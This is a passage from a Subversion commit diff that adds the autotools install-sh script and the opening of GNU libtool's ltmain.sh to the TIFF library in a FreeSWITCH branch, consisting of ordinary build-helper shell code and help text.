+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
+# X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
+# AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC-
+# TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Except as contained in this notice, the name of the X Consortium shall not
+# be used in advertising or otherwise to promote the sale, use or other deal-
+# ings in this Software without prior written authorization from the X Consor-
+# tium.
+#
+#
+# FSF changes to this file are in the public domain.
+#
+# Calling this script install-sh is preferred over install.sh, to prevent
+# `make' implicit rules from creating a file called install from it
+# when there is no Makefile.
+#
+# This script is compatible with the BSD install script, but was written
+# from scratch.  It can only install one file at a time, a restriction
+# shared with many OS's install programs.
+
+# set DOITPROG to echo to test this script
+
+# Don't use :- since 4.3BSD and earlier shells don't like it.
+doit="${DOITPROG-}"
+
+# put in absolute paths if you don't have them in your path; or use env. vars.
+
+mvprog="${MVPROG-mv}"
+cpprog="${CPPROG-cp}"
+chmodprog="${CHMODPROG-chmod}"
+chownprog="${CHOWNPROG-chown}"
+chgrpprog="${CHGRPPROG-chgrp}"
+stripprog="${STRIPPROG-strip}"
+rmprog="${RMPROG-rm}"
+mkdirprog="${MKDIRPROG-mkdir}"
+
+chmodcmd="$chmodprog 0755"
+chowncmd=
+chgrpcmd=
+stripcmd=
+rmcmd="$rmprog -f"
+mvcmd="$mvprog"
+src=
+dst=
+dir_arg=
+dstarg=
+no_target_directory=
+
+usage="Usage: $0 [OPTION]... [-T] SRCFILE DSTFILE
+   or: $0 [OPTION]... SRCFILES... DIRECTORY
+   or: $0 [OPTION]... -t DIRECTORY SRCFILES...
+   or: $0 [OPTION]... -d DIRECTORIES...
+
+In the 1st form, copy SRCFILE to DSTFILE.
+In the 2nd and 3rd, copy all SRCFILES to DIRECTORY.
+In the 4th, create DIRECTORIES.
+
+Options:
+-c         (ignored)
+-d         create directories instead of installing files.
+-g GROUP   $chgrpprog installed files to GROUP.
+-m MODE    $chmodprog installed files to MODE.
+-o USER    $chownprog installed files to USER.
+-s         $stripprog installed files.
+-t DIRECTORY  install into DIRECTORY.
+-T         report an error if DSTFILE is a directory.
+--help     display this help and exit.
+--version  display version info and exit.
+
+Environment variables override the default commands:
+  CHGRPPROG CHMODPROG CHOWNPROG CPPROG MKDIRPROG MVPROG RMPROG STRIPPROG
+"
+
+while test -n "$1"; do
+  case $1 in
+    -c) shift
+        continue;;
+
+    -d) dir_arg=true
+        shift
+        continue;;
+
+    -g) chgrpcmd="$chgrpprog $2"
+        shift
+        shift
+        continue;;
+
+    --help) echo "$usage"; exit $?;;
+
+    -m) chmodcmd="$chmodprog $2"
+        shift
+        shift
+        continue;;
+
+    -o) chowncmd="$chownprog $2"
+        shift
+        shift
+        continue;;
+
+    -s) stripcmd=$stripprog
+        shift
+        continue;;
+
+    -t) dstarg=$2
+	shift
+	shift
+	continue;;
+
+    -T) no_target_directory=true
+	shift
+	continue;;
+
+    --version) echo "$0 $scriptversion"; exit $?;;
+
+    *)  # When -d is used, all remaining arguments are directories to create.
+	# When -t is used, the destination is already specified.
+	test -n "$dir_arg$dstarg" && break
+        # Otherwise, the last argument is the destination.  Remove it from $@.
+	for arg
+	do
+          if test -n "$dstarg"; then
+	    # $@ is not empty: it contains at least $arg.
+	    set fnord "$@" "$dstarg"
+	    shift # fnord
+	  fi
+	  shift # arg
+	  dstarg=$arg
+	done
+	break;;
+  esac
+done
+
+if test -z "$1"; then
+  if test -z "$dir_arg"; then
+    echo "$0: no input file specified." >&2
+    exit 1
+  fi
+  # It's OK to call `install-sh -d' without argument.
+  # This can happen when creating conditional directories.
+  exit 0
+fi
+
+for src
+do
+  # Protect names starting with `-'.
+  case $src in
+    -*) src=./$src ;;
+  esac
+
+  if test -n "$dir_arg"; then
+    dst=$src
+    src=
+
+    if test -d "$dst"; then
+      mkdircmd=:
+      chmodcmd=
+    else
+      mkdircmd=$mkdirprog
+    fi
+  else
+    # Waiting for this to be detected by the "$cpprog $src $dsttmp" command
+    # might cause directories to be created, which would be especially bad
+    # if $src (and thus $dsttmp) contains '*'.
+    if test ! -f "$src" && test ! -d "$src"; then
+      echo "$0: $src does not exist." >&2
+      exit 1
+    fi
+
+    if test -z "$dstarg"; then
+      echo "$0: no destination specified." >&2
+      exit 1
+    fi
+
+    dst=$dstarg
+    # Protect names starting with `-'.
+    case $dst in
+      -*) dst=./$dst ;;
+    esac
+
+    # If destination is a directory, append the input filename; won't work
+    # if double slashes aren't ignored.
+    if test -d "$dst"; then
+      if test -n "$no_target_directory"; then
+	echo "$0: $dstarg: Is a directory" >&2
+	exit 1
+      fi
+      dst=$dst/`basename "$src"`
+    fi
+  fi
+
+  # This sed command emulates the dirname command.
+  dstdir=`echo "$dst" | sed -e 's,/*$,,;s,[^/]*$,,;s,/*$,,;s,^$,.,'`
+
+  # Make sure that the destination directory exists.
+
+  # Skip lots of stat calls in the usual case.
+  if test ! -d "$dstdir"; then
+    defaultIFS='
+	 '
+    IFS="${IFS-$defaultIFS}"
+
+    oIFS=$IFS
+    # Some sh's can't handle IFS=/ for some reason.
+    IFS='%'
+    set x `echo "$dstdir" | sed -e 's@/@%@g' -e 's@^%@/@'`
+    shift
+    IFS=$oIFS
+
+    pathcomp=
+
+    while test $# -ne 0 ; do
+      pathcomp=$pathcomp$1
+      shift
+      if test ! -d "$pathcomp"; then
+        $mkdirprog "$pathcomp"
+	# mkdir can fail with a `File exist' error in case several
+	# install-sh are creating the directory concurrently.  This
+	# is OK.
+	test -d "$pathcomp" || exit
+      fi
+      pathcomp=$pathcomp/
+    done
+  fi
+
+  if test -n "$dir_arg"; then
+    $doit $mkdircmd "$dst" \
+      && { test -z "$chowncmd" || $doit $chowncmd "$dst"; } \
+      && { test -z "$chgrpcmd" || $doit $chgrpcmd "$dst"; } \
+      && { test -z "$stripcmd" || $doit $stripcmd "$dst"; } \
+      && { test -z "$chmodcmd" || $doit $chmodcmd "$dst"; }
+
+  else
+    dstfile=`basename "$dst"`
+
+    # Make a couple of temp file names in the proper directory.
+    dsttmp=$dstdir/_inst.$$_
+    rmtmp=$dstdir/_rm.$$_
+
+    # Trap to clean up those temp files at exit.
+    trap 'ret=$?; rm -f "$dsttmp" "$rmtmp" && exit $ret' 0
+    trap '(exit $?); exit' 1 2 13 15
+
+    # Copy the file name to the temp name.
+    $doit $cpprog "$src" "$dsttmp" &&
+
+    # and set any options; do chmod last to preserve setuid bits.
+    #
+    # If any of these fail, we abort the whole thing.  If we want to
+    # ignore errors from any of these, just make sure not to ignore
+    # errors from the above "$doit $cpprog $src $dsttmp" command.
+    #
+    { test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } \
+      && { test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } \
+      && { test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } \
+      && { test -z "$chmodcmd" || $doit $chmodcmd "$dsttmp"; } &&
+
+    # Now rename the file to the real destination.
+    { $doit $mvcmd -f "$dsttmp" "$dstdir/$dstfile" 2>/dev/null \
+      || {
+	   # The rename failed, perhaps because mv can't rename something else
+	   # to itself, or perhaps because mv is so ancient that it does not
+	   # support -f.
+
+	   # Now remove or move aside any old file at destination location.
+	   # We try this two ways since rm can't unlink itself on some
+	   # systems and the destination file might be busy for other
+	   # reasons.  In this case, the final cleanup might fail but the new
+	   # file should still install successfully.
+	   {
+	     if test -f "$dstdir/$dstfile"; then
+	       $doit $rmcmd -f "$dstdir/$dstfile" 2>/dev/null \
+	       || $doit $mvcmd -f "$dstdir/$dstfile" "$rmtmp" 2>/dev/null \
+	       || {
+		 echo "$0: cannot unlink or rename $dstdir/$dstfile" >&2
+		 (exit 1); exit 1
+	       }
+	     else
+	       :
+	     fi
+	   } &&
+
+	   # Now rename the file to the real destination.
+	   $doit $mvcmd "$dsttmp" "$dstdir/$dstfile"
+	 }
+    }
+  fi || { (exit 1); exit 1; }
+done
+
+# The final little trick to "correctly" pass the exit status to the exit trap.
+{
+  (exit 0); exit 0
+}
+
+# Local variables:
+# eval: (add-hook 'write-file-hooks 'time-stamp)
+# time-stamp-start: "scriptversion="
+# time-stamp-format: "%:y-%02m-%02d.%02H"
+# time-stamp-end: "$"
+# End:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/config/ltmain.sh

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/config/ltmain.sh (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/config/ltmain.sh) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/config/ltmain.sh	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/config/ltmain.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,7339 @@
+# Generated from ltmain.m4sh; do not edit by hand
+
+# ltmain.sh (GNU libtool 1.2248 2006/01/21 17:40:19) 2.1a
+# Written by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
+
+# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005, 2006
+# Free Software Foundation, Inc.
+# This is free software; see the source for copying conditions.  There is NO
+# warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+#
+# As a special exception to the GNU General Public License, if you
+# distribute this file as part of a program that contains a
+# configuration script generated by Autoconf, you may include it under
+# the same distribution terms that you use for the rest of that program.
+
+# Usage: $progname [OPTION]... [MODE-ARG]...
+#
+# Provide generalized library-building support services.
+#
+#     --config             show all configuration variables
+#     --debug              enable verbose shell tracing
+# -n, --dry-run            display commands without modifying any files
+#     --features           display basic configuration information and exit
+#     --mode=MODE          use operation mode MODE
+#     --preserve-dup-deps  don't remove duplicate dependency libraries
+#     --quiet, --silent    don't print informational messages
+#     --tag=TAG            use configuration variables from tag TAG
+# -v, --verbose            print informational messages (default)
+#     --version            print version information
+# -h, --help               print short or long help message
+#
+# MODE must be one of the following:
+#
+#       clean              remove files from the build directory
+#       compile            compile a source file into a libtool object
+#       execute            automatically set library path, then run a program
+#       finish             complete the installation of libtool libraries
+#       install            install libraries or executables
+#       link               create a library or an executable
+#       uninstall          remove libraries from an installed directory
+#
+# MODE-ARGS vary depending on the MODE.
+# Try `$progname --help --mode=MODE' for a more detailed description of MODE.
+#
+# When reporting a bug, please describe a test case to reproduce it and
+# include the following information:
+#
+#       host-triplet:	powerpc-apple-darwin8.2.0
+#       shell:		$SHELL
+#       compiler:		$LTCC
+#       compiler flags:		$LTCFLAGS
+#       linker:		$LD (gnu? $with_gnu_ld)
+#       $progname:		(GNU libtool 1.2248 2006/01/21 17:40:19) 2.1a
+#       automake:		$automake_version
+#       autoconf:		$autoconf_version
+#
+# Report bugs to <bug-libtool@gnu.org>.
+
+PROGRAM=ltmain.sh
+PACKAGE=libtool
+VERSION=2.1a
+TIMESTAMP=" 1.2248 2006/01/21 17:40:19"
+package_revision=1.2248
+
+## --------------------- ##
+## M4sh Initialization.  ##
+## --------------------- ##
+
+# Be Bourne compatible
+if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
+  emulate sh
+  NULLCMD=:
+  # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which
+  # is contrary to our usage.  Disable this feature.
+  alias -g '${1+"$@"}'='"$@"'
+elif test -n "${BASH_VERSION+set}" && (set -o posix) >/dev/null 2>&1; then
+  set -o posix
+fi
+DUALCASE=1; export DUALCASE # for MKS sh
+
+# Support unset when possible.
+if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then
+  as_unset=unset
+else
+  as_unset=false
+fi
+
+
+# Work around bugs in pre-3.0 UWIN ksh.
+$as_unset ENV MAIL MAILPATH
+PS1='$ '
+PS2='> '
+PS4='+ '
+
+# NLS nuisances.
+for as_var in \
+  LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \
+  LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \
+  LC_TELEPHONE LC_TIME
+do
+  if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then
+    eval $as_var=C; export $as_var
+  else
+    $as_unset $as_var
+  fi
+done
+
+# Required to use basename.
+if expr a : '\(a\)' >/dev/null 2>&1; then
+  as_expr=expr
+else
+  as_expr=false
+fi
+
+if (basename /) >/dev/null 2>&1 && test "X`basename / 2>&1`" = "X/"; then
+  as_basename=basename
+else
+  as_basename=false
+fi
+
+
+# Name of the executable.
+as_me=`$as_basename "$0" ||
+$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
+	 X"$0" : 'X\(//\)$' \| \
+	 X"$0" : 'X\(/\)$' \| \
+	 .     : '\(.\)' 2>/dev/null ||
+echo X/"$0" |
+    sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/; q; }
+  	  /^X\/\(\/\/\)$/{ s//\1/; q; }
+  	  /^X\/\(\/\).*/{ s//\1/; q; }
+  	  s/.*/./; q'`
+
+
+$as_unset CDPATH
+
+
+
+: ${CP="cp -f"}
+: ${ECHO="echo"}
+: ${EGREP="grep -E"}
+: ${FGREP="grep -F"}
+: ${GREP="grep"}
+: ${LN_S="ln -s"}
+: ${MAKE="make"}
+: ${MKDIR="mkdir"}
+: ${MV="mv -f"}
+: ${RM="rm -f"}
+: ${SED="/usr/bin/sed"}
+: ${SHELL="${CONFIG_SHELL-/bin/sh}"}
+: ${Xsed="$SED -e 1s/^X//"}
+
+# Global variables:
+EXIT_SUCCESS=0
+EXIT_FAILURE=1
+EXIT_MISMATCH=63  # $? = 63 is used to indicate version mismatch to missing.
+EXIT_SKIP=77	  # $? = 77 is used to indicate a skipped test to automake.
+
+exit_status=$EXIT_SUCCESS
+
+# Make sure IFS has a sensible default
+lt_nl='
+'
+IFS=" 	$lt_nl"
+
+dirname="s,/[^/]*$,,"
+basename="s,^.*/,,"
+
+# Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, sh
+# is ksh but when the shell is invoked as "sh" and the current value of
+# the _XPG environment variable is not equal to 1 (one), the special
+# positional parameter $0, within a function call, is the name of the
+# function.
+progpath="$0"
+
+# The name of this program:
+# In the unlikely event $progname began with a '-', it would play havoc with
+# func_echo (imagine progname=-n), so we prepend ./ in that case:
+progname=`$ECHO "X$progpath" | $Xsed -e "$basename" -e 's,^-,./-,'`
+
+# Make sure we have an absolute path for reexecution:
+case $progpath in
+  [\\/]*|[A-Za-z]:\\*) ;;
+  *[\\/]*)
+     progdir=`$ECHO "X$progpath" | $Xsed -e "$dirname"`
+     progdir=`cd "$progdir" && pwd`
+     progpath="$progdir/$progname"
+     ;;
+  *)
+     save_IFS="$IFS"
+     IFS=:
+     for progdir in $PATH; do
+       IFS="$save_IFS"
+       test -x "$progdir/$progname" && break
+     done
+     IFS="$save_IFS"
+     test -n "$progdir" || progdir=`pwd`
+     progpath="$progdir/$progname"
+     ;;
+esac
+
+# Sed substitution that helps us do robust quoting.  It backslashifies
+# metacharacters that are still active within double-quoted strings.
+Xsed="${SED}"' -e 1s/^X//'
+sed_quote_subst='s/\([`"$\\]\)/\\\1/g'
+
+# Same as above, but do not quote variable references.
+double_quote_subst='s/\(["`\\]\)/\\\1/g'
+
+# Re-`\' parameter expansions in output of double_quote_subst that were
+# `\'-ed in input to the same.  If an odd number of `\' preceded a '$'
+# in input to double_quote_subst, that '$' was protected from expansion.
+# Since each input `\' is now two `\'s, look for any number of runs of
+# four `\'s followed by two `\'s and then a '$'.  `\' that '$'.  Note
+# that the embedded single quotes serve only to enhance readability.
+sed_double_backslash='s/^\(\(''\\\\''\\\\''\)*''\\\\''\)\$/\1\\$/;
+                s/\([^\\]\(''\\\\''\\\\''\)*''\\\\''\)\$/\1\\$/g'
+
+# test EBCDIC or ASCII
+case `echo X|tr X '\101'` in
+ A) # ASCII based system
+    # \n is not interpreted correctly by Solaris 8 /usr/ucb/tr
+  SP2NL='tr \040 \012'
+  NL2SP='tr \015\012 \040\040'
+  ;;
+ *) # EBCDIC based system
+  SP2NL='tr \100 \n'
+  NL2SP='tr \r\n \100\100'
+  ;;
+esac
+
+# Standard options:
+opt_dry_run=false
+opt_help=false
+opt_quiet=false
+opt_verbose=false
+
+# func_echo arg...
+# Echo program name prefixed message, along with the current mode
+# name if it has been set yet.
+func_echo ()
+{
+    $ECHO "$progname${mode+: }$mode: "${1+"$@"}
+}
+
+# func_verbose arg...
+# Echo program name prefixed message in verbose mode only.
+func_verbose ()
+{
+    $opt_verbose && func_echo ${1+"$@"}
+
+    # A bug in bash halts the script if the last line of a function
+    # fails when set -e is in force, so we need another command to
+    # work around that:
+    :
+}
+
+# func_error arg...
+# Echo program name prefixed message to standard error.
+func_error ()
+{
+    $ECHO "$progname${mode+: }$mode: "${1+"$@"} 1>&2
+}
+
+# func_warning arg...
+# Echo program name prefixed warning message to standard error.
+func_warning ()
+{
+    $ECHO "$progname${mode+: }$mode: warning: "${1+"$@"} 1>&2
+}
+
+# func_fatal_error arg...
+# Echo program name prefixed message to standard error, and exit.
+func_fatal_error ()
+{
+    func_error ${1+"$@"}
+    exit $EXIT_FAILURE
+}
+
+# func_fatal_help arg...
+# Echo program name prefixed message to standard error, followed by
+# a help hint, and exit.
+func_fatal_help ()
+{
+    func_error ${1+"$@"}
+    func_fatal_error "$help"
+}
+help="Try \`$progname --help' for more information."  ## default
+
+
+# func_grep expression filename
+# Check whether EXPRESSION matches any line of FILENAME, without output.
+func_grep ()
+{
+    $GREP "$1" "$2" >/dev/null 2>&1
+}
+
+
+# func_mkdir_p directory-path
+# Make sure the entire path to DIRECTORY-PATH is available.
+func_mkdir_p ()
+{
+    my_directory_path="$1"
+    my_dir_list=
+
+    if test -n "$my_directory_path" && test "$opt_dry_run" != ":"; then
+
+      # Protect directory names starting with `-'
+      case $my_directory_path in
+        -*) my_directory_path="./$my_directory_path" ;;
+      esac
+
+      # While some portion of DIR does not yet exist...
+      while test ! -d "$my_directory_path"; do
+        # ...make a list in topmost first order.  Use a colon delimited
+	# list incase some portion of path contains whitespace.
+        my_dir_list="$my_directory_path:$my_dir_list"
+
+        # If the last portion added has no slash in it, the list is done
+        case $my_directory_path in */*) ;; *) break ;; esac
+
+        # ...otherwise throw away the child directory and loop
+        my_directory_path=`$ECHO "X$my_directory_path" | $Xsed -e "$dirname"`
+      done
+      my_dir_list=`$ECHO "X$my_dir_list" | $Xsed -e 's,:*$,,'`
+
+      save_mkdir_p_IFS="$IFS"; IFS=':'
+      for my_dir in $my_dir_list; do
+	IFS="$save_mkdir_p_IFS"
+        # mkdir can fail with a `File exist' error if two processes
+        # try to create one of the directories concurrently.  Don't
+        # stop in that case!
+        $MKDIR "$my_dir" 2>/dev/null || :
+      done
+      IFS="$save_mkdir_p_IFS"
+
+      # Bail out if we (or some other process) failed to create a directory.
+      test -d "$my_directory_path" || \
+        func_fatal_error "Failed to create \`$1'"
+    fi
+}
+
+
+# func_mktempdir [string]
+# Make a temporary directory that won't clash with other running
+# libtool processes, and avoids race conditions if possible.  If
+# given, STRING is the basename for that directory.
+func_mktempdir ()
+{
+    my_template="${TMPDIR-/tmp}/${1-$progname}"
+
+    if test "$opt_dry_run" = ":"; then
+      # Return a directory name, but don't create it in dry-run mode
+      my_tmpdir="${my_template}-$$"
+    else
+
+      # If mktemp works, use that first and foremost
+      my_tmpdir=`mktemp -d "${my_template}-XXXXXXXX" 2>/dev/null`
+
+      if test ! -d "$my_tmpdir"; then
+        # Failing that, at least try and use $RANDOM to avoid a race
+        my_tmpdir="${my_template}-${RANDOM-0}$$"
+
+        save_mktempdir_umask=`umask`
+        umask 0077
+        $MKDIR "$my_tmpdir"
+        umask $save_mktempdir_umask
+      fi
+
+      # If we're not in dry-run mode, bomb out on failure
+      test -d "$my_tmpdir" || \
+        func_fatal_error "cannot create temporary directory \`$my_tmpdir'"
+    fi
+
+    $ECHO "X$my_tmpdir" | $Xsed
+}
+
+
+# func_quote_for_eval arg
+# Aesthetically quote ARG to be evaled later.
+# This function returns two values: FUNC_QUOTE_FOR_EVAL_RESULT
+# is double-quoted, suitable for a subsequent eval, whereas
+# FUNC_QUOTE_FOR_EVAL_UNQUOTED_RESULT has merely all characters
+# which are still active within double quotes backslashified.
+func_quote_for_eval ()
+{
+    case $1 in
+      *[\\\`\"\$]*)
+	func_quote_for_eval_unquoted_result=`$ECHO "X$1" | $Xsed -e "$sed_quote_subst"` ;;
+      *)
+        func_quote_for_eval_unquoted_result="$1" ;;
+    esac
+
+    case $func_quote_for_eval_unquoted_result in
+      # Double-quote args containing shell metacharacters to delay
+      # word splitting, command substitution and and variable
+      # expansion for a subsequent eval.
+      # Many Bourne shells cannot handle close brackets correctly
+      # in scan sets, so we specify it separately.
+      *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \	]*|*]*|"")
+        func_quote_for_eval_result="\"$func_quote_for_eval_unquoted_result\""
+        ;;
+      *)
+        func_quote_for_eval_result="$func_quote_for_eval_unquoted_result"
+    esac
+}
+
+
+# func_quote_for_expand arg
+# Aesthetically quote ARG to be evaled later; same as above,
+# but do not quote variable references.
+func_quote_for_expand ()
+{
+    case $1 in
+      *[\\\`\"]*)
+	my_arg=`$ECHO "X$1" | $Xsed \
+	    -e "$double_quote_subst" -e "$sed_double_backslash"` ;;
+      *)
+        my_arg="$1" ;;
+    esac
+
+    case $my_arg in
+      # Double-quote args containing shell metacharacters to delay
+      # word splitting and command substitution for a subsequent eval.
+      # Many Bourne shells cannot handle close brackets correctly
+      # in scan sets, so we specify it separately.
+      *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \	]*|*]*|"")
+        my_arg="\"$my_arg\""
+        ;;
+    esac
+
+    func_quote_for_expand_result="$my_arg"
+}
+
+
+# func_show_eval cmd [fail_exp]
+# Unless opt_silent is true, then output CMD.  Then, if opt_dryrun is
+# not true, evaluate CMD.  If the evaluation of CMD fails, and FAIL_EXP
+# is given, then evaluate it.
+func_show_eval ()
+{
+    my_cmd="$1"
+    my_fail_exp="${2-:}"
+
+    ${opt_silent-false} || {
+      func_quote_for_expand "$my_cmd"
+      eval "func_echo $func_quote_for_expand_result"
+    }
+
+    if ${opt_dry_run-false}; then :; else
+      eval "$my_cmd"
+      my_status=$?
+      if test "$my_status" -eq 0; then :; else
+	eval "(exit $my_status); $my_fail_exp"
+      fi
+    fi
+}
+
+
+# func_version
+# Echo version message to standard output and exit.
+func_version ()
+{
+    $SED -n '/^# '$PROGRAM' (GNU /,/# warranty; / {
+        s/^# //
+	s/^# *$//
+        s/\((C)\)[ 0-9,-]*\( [1-9][0-9]*\)/\1\2/
+        p
+     }' < "$progpath"
+     exit $?
+}
+
+# func_usage
+# Echo short help message to standard output and exit.
+func_usage ()
+{
+    $SED -n '/^# Usage:/,/# -h/ {
+        s/^# //
+	s/^# *$//
+	s/\$progname/'$progname'/
+	p
+    }' < "$progpath"
+    $ECHO
+    $ECHO "run \`$progname --help | more' for full usage"
+    exit $?
+}
+
+# func_help
+# Echo long help message to standard output and exit.
+func_help ()
+{
+    $SED -n '/^# Usage:/,/# Report bugs to/ {
+        s/^# //
+	s/^# *$//
+	s*\$progname*'$progname'*
+	s*\$SHELL*'"$SHELL"'*
+	s*\$LTCC*'"$LTCC"'*
+	s*\$LTCFLAGS*'"$LTCFLAGS"'*
+	s*\$LD*'"$LD"'*
+	s/\$with_gnu_ld/'"$with_gnu_ld"'/
+	s/\$automake_version/'"`(automake --version) 2>/dev/null |$SED 1q`"'/
+	s/\$autoconf_version/'"`(autoconf --version) 2>/dev/null |$SED 1q`"'/
+	p
+     }' < "$progpath"
+    exit $?
+}
+
+# func_missing_arg argname
+# Echo program name prefixed message to standard error and set global
+# exit_cmd.
+func_missing_arg ()
+{
+    func_error "missing argument for $1"
+    exit_cmd=exit
+}
+
+exit_cmd=:
+
+
+# Check that we have a working $ECHO.
+if test "X$1" = X--no-reexec; then
+  # Discard the --no-reexec flag, and continue.
+  shift
+elif test "X$1" = X--fallback-echo; then
+  # Avoid inline document here, it may be left over
+  :
+elif test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t'; then
+  # Yippee, $ECHO works!
+  :
+else
+  # Restart under the correct shell, and then maybe $ECHO will work.
+  exec $SHELL "$progpath" --no-reexec ${1+"$@"}
+fi
+
+if test "X$1" = X--fallback-echo; then
+  # used as fallback echo
+  shift
+  cat <<EOF
+$*
+EOF
+  exit $EXIT_SUCCESS
+fi
+
+magic="%%%MAGIC variable%%%"
+
+
+# Global variables.
+# $mode is unset
+nonopt=
+execute_dlfiles=
+preserve_args=
+lo2o="s/\\.lo\$/.${objext}/"
+o2lo="s/\\.${objext}\$/.lo/"
+
+opt_dry_run=false
+opt_duplicate_deps=false
+opt_silent=false
+opt_debug=:
+
+# If this variable is set in any of the actions, the command in it
+# will be execed at the end.  This prevents here-documents from being
+# left over by shells.
+exec_cmd=
+
+# func_fatal_configuration arg...
+# Echo program name prefixed message to standard error, followed by
+# a configuration failure hint, and exit.
+func_fatal_configuration ()
+{
+    func_error ${1+"$@"}
+    func_error "See the $PACKAGE documentation for more information."
+    func_fatal_error "Fatal configuration error."
+}
+
+
+# func_config
+# Display the configuration for all the tags in this script.
+func_config ()
+{
+    re_begincf='^# ### BEGIN LIBTOOL'
+    re_endcf='^# ### END LIBTOOL'
+
+    # Default configuration.
+    $SED "1,/$re_begincf CONFIG/d;/$re_endcf CONFIG/,\$d" < "$progpath"
+
+    # Now print the configurations for the tags.
+    for tagname in $taglist; do
+      $SED -n "/$re_begincf TAG CONFIG: $tagname\$/,/$re_endcf TAG CONFIG: $tagname\$/p" < "$progpath"
+    done
+
+    exit $?
+}
+
+# func_features
+# Display the features supported by this script.
+func_features ()
+{
+    $ECHO "host: $host"
+    if test "$build_libtool_libs" = yes; then
+      $ECHO "enable shared libraries"
+    else
+      $ECHO "disable shared libraries"
+    fi
+    if test "$build_old_libs" = yes; then
+      $ECHO "enable static libraries"
+    else
+      $ECHO "disable static libraries"
+    fi
+
+    exit $?
+}
+
+# func_enable_tag tagname
+# Verify that TAGNAME is valid, and either flag an error and exit, or
+# enable the TAGNAME tag.  We also add TAGNAME to the global $taglist
+# variable here.
+func_enable_tag ()
+{
+  # Global variable:
+  tagname="$1"
+
+  re_begincf="^# ### BEGIN LIBTOOL TAG CONFIG: $tagname\$"
+  re_endcf="^# ### END LIBTOOL TAG CONFIG: $tagname\$"
+  sed_extractcf="/$re_begincf/,/$re_endcf/p"
+
+  # Validate tagname.
+  case $tagname in
+    *[!-_A-Za-z0-9,/]*)
+      func_fatal_error "invalid tag name: $tagname"
+      ;;
+  esac
+
+  # Don't test for the "default" C tag, as we know it's
+  # there but not specially marked.
+  case $tagname in
+    CC) ;;
+    *)
+      if $GREP "$re_begincf" "$progpath" >/dev/null 2>&1; then
+	taglist="$taglist $tagname"
+
+	# Evaluate the configuration.  Be careful to quote the path
+	# and the sed script, to avoid splitting on whitespace, but
+	# also don't use non-portable quotes within backquotes within
+	# quotes we have to do it in 2 steps:
+	extractedcf=`$SED -n -e "$sed_extractcf" < "$progpath"`
+	eval "$extractedcf"
+      else
+	func_error "ignoring unknown tag $tagname"
+      fi
+      ;;
+  esac
+}
+
+
+func_mode_help ()
+{
+    # We need to display help for each of the modes.
+    case $mode in
+      "")
+        # Generic help is extracted from the usage comments
+        # at the start of this file.
+        func_help
+        ;;
+
+      clean)
+        $ECHO \
+"Usage: $progname [OPTION]... --mode=clean RM [RM-OPTION]... FILE...
+
+Remove files from the build directory.
+
+RM is the name of the program to use to delete files associated with each FILE
+(typically \`/bin/rm').  RM-OPTIONS are options (such as \`-f') to be passed
+to RM.
+
+If FILE is a libtool library, object or program, all the files associated
+with it are deleted. Otherwise, only FILE itself is deleted using RM."
+        ;;
+
+      compile)
+      $ECHO \
+"Usage: $progname [OPTION]... --mode=compile COMPILE-COMMAND... SOURCEFILE
+
+Compile a source file into a libtool library object.
+
+This mode accepts the following additional options:
+
+  -o OUTPUT-FILE    set the output file name to OUTPUT-FILE
+  -no-suppress      do not suppress compiler output for multiple passes
+  -prefer-pic       try to building PIC objects only
+  -prefer-non-pic   try to building non-PIC objects only
+  -shared           do not build a \`.o' file suitable for static linking
+  -static           only build a \`.o' file suitable for static linking
+
+COMPILE-COMMAND is a command to be used in creating a \`standard' object file
+from the given SOURCEFILE.
+
+The output file name is determined by removing the directory component from
+SOURCEFILE, then substituting the C source code suffix \`.c' with the
+library object suffix, \`.lo'."
+        ;;
+
+      execute)
+        $ECHO \
+"Usage: $progname [OPTION]... --mode=execute COMMAND [ARGS]...
+
+Automatically set library path, then run a program.
+
+This mode accepts the following additional options:
+
+  -dlopen FILE      add the directory containing FILE to the library path
+
+This mode sets the library path environment variable according to \`-dlopen'
+flags.
+
+If any of the ARGS are libtool executable wrappers, then they are translated
